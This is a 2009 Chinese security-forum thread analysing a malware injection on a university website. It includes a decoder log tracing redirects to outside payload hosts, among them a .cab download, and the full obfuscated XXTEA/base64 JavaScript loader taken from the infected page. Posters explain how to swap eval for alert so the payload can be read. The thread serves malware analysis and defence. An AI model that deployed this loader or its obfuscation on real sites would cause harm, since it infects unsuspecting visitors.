http://etc.sjtu.edu.cn(挂马)

显示全部楼层 · 发表于 2009-6-24 16:47:33

关于:hxxp://etc.sjtu.edu.cn/kctft_files/ad_files/reg_files/dog_files/new04_files/test.htm解密的日志(全体输出 -  16):
Level  1>http://etc.sjtu.edu.cn/kctft_files/ad.htm
Level  2>http://etc.sjtu.edu.cn/kctft_files/ad.htm
Level  3>http://etc.sjtu.edu.cn/kctft_files/ad_files/1166651.js
Level  4>http://vip.51.la/s.asp?svid=8&;id=1166651&tpages=+a6651ops+&ttimes=+a6651ot+&tzone=+
Level  3>http://etc.sjtu.edu.cn/kctft_files/ad_files/stat.htm
Level  3>http://etc.sjtu.edu.cn/kctft_files/ad_files/reg.htm
Level  4>http://etc.sjtu.edu.cn/kctft_files/ad_files/reg_files/stat.htm
Level  4>http://etc.sjtu.edu.cn/kctft_files/ad_files/reg_files/haha.js
Level  4>http://etc.sjtu.edu.cn/kctft_files/ad_files/reg_files/dog.htm
Level  5>http://etc.sjtu.edu.cn/kctft_fil ... dog_files/new04.htm
Level  6>http://etc.sjtu.edu.cn/kctft_fil ... 04_files/1299644.js
Level  6>http://etc.sjtu.edu.cn/kctft_fil ... ew04_files/test.htm
Level  7>http://down.dj7788.cn/bd.cab  ●
Level  7>http://xxx.749571.com/wm/pps.js
Level  7>http://xxx.749571.com/wm/b.js
Level  7>http://xxx.749571.com/wm/1.js
日志由 Redoce1.9第68次修正版于 2009-6-24 16:46:46 生成。

显示全部楼层 · 发表于 2009-6-24 21:06:14

hxxp://etc.sjtu.edu.cn/kctft_files/ad_files/reg_files/dog_files/new04_files/test.htm
那个解密说下呗~谢了

显示全部楼层 · 发表于 2009-6-24 21:23:56

<SCRIPT language=javascript>
function utf8to16(R$ivKH1){var o$SZhbz2,wobt3,iotioOK4,igQHmIp5;var JFtK6,u_QoGg7;o$SZhbz2=[];iotioOK4=R$ivKH1["\x6c\x65\x6e\x67\x74\x68"];wobt3=0;while(wobt3<iotioOK4){igQHmIp5=R$ivKH1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](wobt3++);switch(igQHmIp5>>4)
{case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:o$SZhbz2[o$SZhbz2["\x6c\x65\x6e\x67\x74\x68"]]=R$ivKH1["\x63\x68\x61\x72\x41\x74"](wobt3-1);break;case 12:case 13:JFtK6=R$ivKH1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](wobt3++);o$SZhbz2[o$SZhbz2["\x6c\x65\x6e\x67\x74\x68"]]=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](((igQHmIp5&0x1F)<<6)|(JFtK6&0x3F));break;case 14:JFtK6=R$ivKH1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](wobt3++);u_QoGg7=R$ivKH1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](wobt3++);o$SZhbz2[o$SZhbz2["\x6c\x65\x6e\x67\x74\x68"]]=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](((igQHmIp5&0x0F)<<12)|((JFtK6&0x3F)<<6)|((u_QoGg7&0x3F)<<0));break;}}
eval(o$SZhbz2["\x6a\x6f\x69\x6e"](''));}
var C8=new window["\x41\x72\x72\x61\x79"](-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1);
function base64decode(zBYah9)
{var A10,Ha$11,cEyRFE12,MR13;var Yc_rdY14,MSFPC15,DQKBbVA16;MSFPC15=zBYah9["\x6c\x65\x6e\x67\x74\x68"];Yc_rdY14=0;DQKBbVA16 = "";while(Yc_rdY14<MSFPC15)
{do
{A10=C8[zBYah9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](Yc_rdY14++)&0xff]}while(Yc_rdY14<MSFPC15&&A10==-1);if(A10==-1)
break;do
{Ha$11=C8[zBYah9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](Yc_rdY14++)&0xff]}while(Yc_rdY14<MSFPC15&&Ha$11==-1);if(Ha$11==-1)
break;DQKBbVA16+=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"]((A10<<2)|((Ha$11&0x30)>>4));do
{cEyRFE12=zBYah9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](Yc_rdY14++)&0xff;if(cEyRFE12==61)
return DQKBbVA16;cEyRFE12=C8[cEyRFE12]}while(Yc_rdY14<MSFPC15&&cEyRFE12==-1);if(cEyRFE12==-1)
break;DQKBbVA16+=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](((Ha$11&0XF)<<4)|((cEyRFE12&0x3C)>>2));do
{MR13=zBYah9["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](Yc_rdY14++)&0xff;if(MR13==61)
return DQKBbVA16;MR13=C8[MR13]}while(Yc_rdY14<MSFPC15&&MR13==-1);if(MR13==-1)
break;DQKBbVA16+=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](((cEyRFE12&0x03)<<6)|MR13)}
return DQKBbVA16}
function long2str(v,MK17){var FZbXPws18=v["\x6c\x65\x6e\x67\x74\x68"];var CVLZnZrvQ19=v[FZbXPws18-1]&0xffffffff;for(var B$20=0;B$20<FZbXPws18;B$20++)
{v[B$20]=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](v[B$20]&0xff,v[B$20]>>>8&0xff,v[B$20]>>>16&0xff,v[B$20]>>>24&0xff);}
if(MK17){return v["\x6a\x6f\x69\x6e"]('')["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0,CVLZnZrvQ19);}
else{return v["\x6a\x6f\x69\x6e"]('');}}
function str2long(wVH21,JzhtzQ22){var eF_tezE23=wVH21["\x6c\x65\x6e\x67\x74\x68"];var iDar24=[];for(var SU25=0;SU25<eF_tezE23;SU25+=4)
{iDar24[SU25>>2]=wVH21["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](SU25)|wVH21["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](SU25+1)<<8|wVH21["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](SU25+2)<<16|wVH21["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](SU25+3)<<24;}
if(JzhtzQ22){iDar24[iDar24["\x6c\x65\x6e\x67\x74\x68"]]=eF_tezE23;}
return iDar24;}
function xxtea_decrypt(ReSOiIt26,Lh27){if(ReSOiIt26==""){return"";}
var c28=str2long(ReSOiIt26,false);var p_29=str2long(Lh27,false);var TLlP30=c28["\x6c\x65\x6e\x67\x74\x68"]-1;var wY31=c28[TLlP30-1],SPMwoOdi32=c28[0],kFK33=0x9E3779B9;var rtCqYR34,_UWoyDd$35,V36=window["\x4d\x61\x74\x68"]["\x66\x6c\x6f\x6f\x72"](6+52/(TLlP30+1)),OTBMbdQa37=V36*kFK33&0xffffffff;while(OTBMbdQa37!=0){_UWoyDd$35=OTBMbdQa37>>>2&3;for(var vnnTim38=TLlP30;vnnTim38>0;vnnTim38--){wY31=c28[vnnTim38-1];rtCqYR34=(wY31>>>5^SPMwoOdi32<<2)+(SPMwoOdi32>>>3^wY31<<4)^(OTBMbdQa37^SPMwoOdi32)+(p_29[vnnTim38&3^_UWoyDd$35]^wY31);SPMwoOdi32=c28[vnnTim38]=c28[vnnTim38]-rtCqYR34&0xffffffff;}
wY31=c28[TLlP30];rtCqYR34=(wY31>>>5^SPMwoOdi32<<2)+(SPMwoOdi32>>>3^wY31<<4)^(OTBMbdQa37^SPMwoOdi32)+(p_29[vnnTim38&3^_UWoyDd$35]^wY31);SPMwoOdi32=c28[0]=c28[0]-rtCqYR34&0xffffffff;OTBMbdQa37=OTBMbdQa37-kFK33&0xffffffff;}
return long2str(c28,true);}
t="QKoc2AuhjC2dJ9InnmpGWNxifyE5+7tXS+5KhAa8I7NGB1dFdOBytNXuLlwoIYWaRzYmpQKBYHASnPhAinQsRR7d/NcFO92GnZRBvIPDvVAUkEsT/+Ro1sPoC3g/vuvRz2K8469tTb4+D6tZNi3iSekOo8QIyhtWpPu/Jrkw74/JJphZ8pyDCPRJYzH/YH0Z4023eiADh2eaxAhqf5tMWOhkyx8BMeZlhx8xN8TueojjjyhiF/p4RB8N94mpChieZcuX5zWwNScJCKrnCXjR2/ZbbnOdh/8zUBwDdAj9d+8YfqW3sGw1wfmJZH7ez1niukQ6eLPIoi9WlG1p1TilD3RRY2BpbxWzLMG+6sG/eZL6V6xc7evkXiaDr/YNnwyNtknxpqb889OWhlPja/v1izUWuamTAEIVb9ceqWS8QX7hsxcFMksm+XLf7q/6at6LQFemexkDudOpc7ryDgTECoZSwY0XxmXNUTgBZjWeU22X8dzEAvG3ozBwWZQ4c8Llf5PIzReo0hPOqcOd+XCS7o7qjlwd9YOPghfblfLCOkOLUvrJVwjjsvbnmyDdkpKNISF9M+t2heVKtmjzUdsmyndqHrCvd7Bs2h8/gAB2R/3adkLfdeC+ocLSatF0OU5tcvK/ZzW8QjJ4A2TV6qdu5fn5Ix8OvxBfDvrZuTwi/sjuwHL4Fz49G5KdhUjo5dLQH0ybvIM6CoPFLAt1QhGic29DWZA+8Nb8v4kjYTO0dPnM0NW3Vo83tatfrTtmxbHOSngmJ1GwAYgB8LtNOkhF7OPObjj9WM1Erz+1RlInwNz93qBoBqEItL7+gbCgAfAQgH7bQtbh0C8C4rG78kOn4UAcT+1RkrFyTOaNLmHVRy7vwTvNfAb33mQUfWVAsK2jijxPA+6XQfXNVh+J1IBmtbH4dORys+rw1yCYoWnAfqUrUlJZrR4zizOL2TH0r+KJm81q7l3Kzz7WTdgs1d0vv8SR0NHI28ap2d1bzUmDsJfMiglt1f/pgSdFslRHI4GeDL1QL+cTdmTrLgEmje05FRQNX3ju6SSlklXsedV+r/KUj7OYoJr0Ol21nkVNsGAqOouNuIQPbUqduPuNuYycqeWPxsgSlaQRpPdlZvi8LC9vQvGRnUSAObFMO2L8Z5WxK8VO4YenyYHHxgNEjMb++MKLzi2QCtvNgV8G2im2NoZvWg4hLCPgpl4T3smfzjoqJIOdiM5kKby/QPy/faQM0pQQEUYkNigunZNNMcdvSaw/58htoaYBtXHmGVDPECU+r7GKu/pyRuuwGV9XyAkUxrXdVeR/g9fJNtvWZGGr8k6CLnk+njbW4BtAjejll2FEVx7vsVPyY318oPiRvQPlyVQotru5LzfRPY8ysbuQcQqe63l5Ojnrn3LmWhxvTA5oHhv9Y6zKAVUaJOrd6F/AyGgoTOSpPaXhkR7v/Wd7NOD5tOnURkru3Ylul0YIn0pGirTNMJcnD3z6xMfBO9yxSeFxxfhRtzjZQP47Kg==";
utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));
</SCRIPT>

复制代码

去除前后的代码。
function utf8to16函数中的
return o$SZhbz2["\x6a\x6f\x69\x6e"]('');改成eval(o$SZhbz2["\x6a\x6f\x69\x6e"](''));
放到redoce里面eval清除，就看到代码
上面的代码是修改好的。

显示全部楼层 · 发表于 2009-6-24 21:34:24

呵呵先谢了~我也弄出来了，

去掉前后代码html等，然后保留并将----window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"] ---换成alert，因为这一堆window代码就是
window["document"]["write"] 保存运行之即可

盖好的代码如下

<SCRIPT language=javascript>
function utf8to16(R$ivKH1){var o$SZhbz2,wobt3,iotioOK4,igQHmIp5;var JFtK6,u_QoGg7;o$SZhbz2=[];iotioOK4=R$ivKH1["length"];wobt3=0;while(wobt3<iotioOK4){igQHmIp5=R$ivKH1["charCodeAt"](wobt3++);switch(igQHmIp5>>4){case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:o$SZhbz2[o$SZhbz2["length"]]=R$ivKH1["charAt"](wobt3-1);break;case 12:case 13:JFtK6=R$ivKH1["charCodeAt"](wobt3++);o$SZhbz2[o$SZhbz2["length"]]=window["String"]["fromCharCode"](((igQHmIp5&0x1F)<<6)|(JFtK6&0x3F));break;case 14:JFtK6=R$ivKH1["charCodeAt"](wobt3++);u_QoGg7=R$ivKH1["charCodeAt"](wobt3++);o$SZhbz2[o$SZhbz2["length"]]=window["String"]["fromCharCode"](((igQHmIp5&0x0F)<<12)|((JFtK6&0x3F)<<6)|((u_QoGg7&0x3F)<<0));break;}}return o$SZhbz2["join"]('');}var C8=new window["Array"](-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1);function base64decode(zBYah9){var A10,Ha$11,cEyRFE12,MR13;var Yc_rdY14,MSFPC15,DQKBbVA16;MSFPC15=zBYah9["length"];Yc_rdY14=0;DQKBbVA16 = "";while(Yc_rdY14<MSFPC15){do{A10=C8[zBYah9["charCodeAt"](Yc_rdY14++)&0xff]}while(Yc_rdY14<MSFPC15&&A10==-1);if(A10==-1)break;do{Ha$11=C8[zBYah9["charCodeAt"](Yc_rdY14++)&0xff]}while(Yc_rdY14<MSFPC15&&Ha$11==-1);if(Ha$11==-1)break;DQKBbVA16+=window["String"]["fromCharCode"]((A10<<2)|((Ha$11&0x30)>>4));do{cEyRFE12=zBYah9["charCodeAt"](Yc_rdY14++)&0xff;if(cEyRFE12==61)return DQKBbVA16;cEyRFE12=C8[cEyRFE12]}while(Yc_rdY14<MSFPC15&&cEyRFE12==-1);if(cEyRFE12==-1)break;DQKBbVA16+=window["String"]["fromCharCode"](((Ha$11&0XF)<<4)|((cEyRFE12&0x3C)>>2));do{MR13=zBYah9["charCodeAt"](Yc_rdY14++)&0xff;if(MR13==61)return DQKBbVA16;MR13=C8[MR13]}while(Yc_rdY14<MSFPC15&&MR13==-1);if(MR13==-1)break;DQKBbVA16+=window["String"]["fromCharCode"](((cEyRFE12&0x03)<<6)|MR13)}return DQKBbVA16}function long2str(v,MK17){var FZbXPws18=v["length"];var CVLZnZrvQ19=v[FZbXPws18-1]&0xffffffff;for(var B$20=0;B$20<FZbXPws18;B$20++){v[B$20]=window["String"]["fromCharCode"](v[B$20]&0xff,v[B$20]>>>8&0xff,v[B$20]>>>16&0xff,v[B$20]>>>24&0xff);}if(MK17){return v["join"]('')["substring"](0,CVLZnZrvQ19);}else{return v["join"]('');}}function str2long(wVH21,JzhtzQ22){var eF_tezE23=wVH21["length"];var iDar24=[];for(var SU25=0;SU25<eF_tezE23;SU25+=4){iDar24[SU25>>2]=wVH21["charCodeAt"](SU25)|wVH21["charCodeAt"](SU25+1)<<8|wVH21["charCodeAt"](SU25+2)<<16|wVH21["charCodeAt"](SU25+3)<<24;}if(JzhtzQ22){iDar24[iDar24["length"]]=eF_tezE23;}return iDar24;}function xxtea_decrypt(ReSOiIt26,Lh27){if(ReSOiIt26==""){return"";}var c28=str2long(ReSOiIt26,false);var p_29=str2long(Lh27,false);var TLlP30=c28["length"]-1;var wY31=c28[TLlP30-1],SPMwoOdi32=c28[0],kFK33=0x9E3779B9;var rtCqYR34,_UWoyDd$35,V36=window["Math"]["floor"](6+52/(TLlP30+1)),OTBMbdQa37=V36*kFK33&0xffffffff;while(OTBMbdQa37!=0){_UWoyDd$35=OTBMbdQa37>>>2&3;for(var vnnTim38=TLlP30;vnnTim38>0;vnnTim38--){wY31=c28[vnnTim38-1];rtCqYR34=(wY31>>>5^SPMwoOdi32<<2)+(SPMwoOdi32>>>3^wY31<<4)^(OTBMbdQa37^SPMwoOdi32)+(p_29[vnnTim38&3^_UWoyDd$35]^wY31);SPMwoOdi32=c28[vnnTim38]=c28[vnnTim38]-rtCqYR34&0xffffffff;}wY31=c28[TLlP30];rtCqYR34=(wY31>>>5^SPMwoOdi32<<2)+(SPMwoOdi32>>>3^wY31<<4)^(OTBMbdQa37^SPMwoOdi32)+(p_29[vnnTim38&3^_UWoyDd$35]^wY31);SPMwoOdi32=c28[0]=c28[0]-rtCqYR34&0xffffffff;OTBMbdQa37=OTBMbdQa37-kFK33&0xffffffff;}return long2str(c28,true);}t="QKoc2AuhjC2dJ9InnmpGWNxifyE5+7tXS+5KhAa8I7NGB1dFdOBytNXuLlwoIYWaRzYmpQKBYHASnPhAinQsRR7d/NcFO92GnZRBvIPDvVAUkEsT/+Ro1sPoC3g/vuvRz2K8469tTb4+D6tZNi3iSekOo8QIyhtWpPu/Jrkw74/JJphZ8pyDCPRJYzH/YH0Z4023eiADh2eaxAhqf5tMWOhkyx8BMeZlhx8xN8TueojjjyhiF/p4RB8N94mpChieZcuX5zWwNScJCKrnCXjR2/ZbbnOdh/8zUBwDdAj9d+8YfqW3sGw1wfmJZH7ez1niukQ6eLPIoi9WlG1p1TilD3RRY2BpbxWzLMG+6sG/eZL6V6xc7evkXiaDr/YNnwyNtknxpqb889OWhlPja/v1izUWuamTAEIVb9ceqWS8QX7hsxcFMksm+XLf7q/6at6LQFemexkDudOpc7ryDgTECoZSwY0XxmXNUTgBZjWeU22X8dzEAvG3ozBwWZQ4c8Llf5PIzReo0hPOqcOd+XCS7o7qjlwd9YOPghfblfLCOkOLUvrJVwjjsvbnmyDdkpKNISF9M+t2heVKtmjzUdsmyndqHrCvd7Bs2h8/gAB2R/3adkLfdeC+ocLSatF0OU5tcvK/ZzW8QjJ4A2TV6qdu5fn5Ix8OvxBfDvrZuTwi/sjuwHL4Fz49G5KdhUjo5dLQH0ybvIM6CoPFLAt1QhGic29DWZA+8Nb8v4kjYTO0dPnM0NW3Vo83tatfrTtmxbHOSngmJ1GwAYgB8LtNOkhF7OPObjj9WM1Erz+1RlInwNz93qBoBqEItL7+gbCgAfAQgH7bQtbh0C8C4rG78kOn4UAcT+1RkrFyTOaNLmHVRy7vwTvNfAb33mQUfWVAsK2jijxPA+6XQfXNVh+J1IBmtbH4dORys+rw1yCYoWnAfqUrUlJZrR4zizOL2TH0r+KJm81q7l3Kzz7WTdgs1d0vv8SR0NHI28ap2d1bzUmDsJfMiglt1f/pgSdFslRHI4GeDL1QL+cTdmTrLgEmje05FRQNX3ju6SSlklXsedV+r/KUj7OYoJr0Ol21nkVNsGAqOouNuIQPbUqduPuNuYycqeWPxsgSlaQRpPdlZvi8LC9vQvGRnUSAObFMO2L8Z5WxK8VO4YenyYHHxgNEjMb++MKLzi2QCtvNgV8G2im2NoZvWg4hLCPgpl4T3smfzjoqJIOdiM5kKby/QPy/faQM0pQQEUYkNigunZNNMcdvSaw/58htoaYBtXHmGVDPECU+r7GKu/pyRuuwGV9XyAkUxrXdVeR/g9fJNtvWZGGr8k6CLnk+njbW4BtAjejll2FEVx7vsVPyY318oPiRvQPlyVQotru5LzfRPY8ysbuQcQqe63l5Ojnrn3LmWhxvTA5oHhv9Y6zKAVUaJOrd6F/AyGgoTOSpPaXhkR7v/Wd7NOD5tOnURkru3Ylul0YIn0pGirTNMJcnD3z6xMfBO9yxSeFxxfhRtzjZQP47Kg==";t=utf8to16(xxtea_decrypt(base64decode(t), 'script'));alert(t);</SCRIPT>

[已鉴定] http://etc.sjtu.edu.cn(挂马)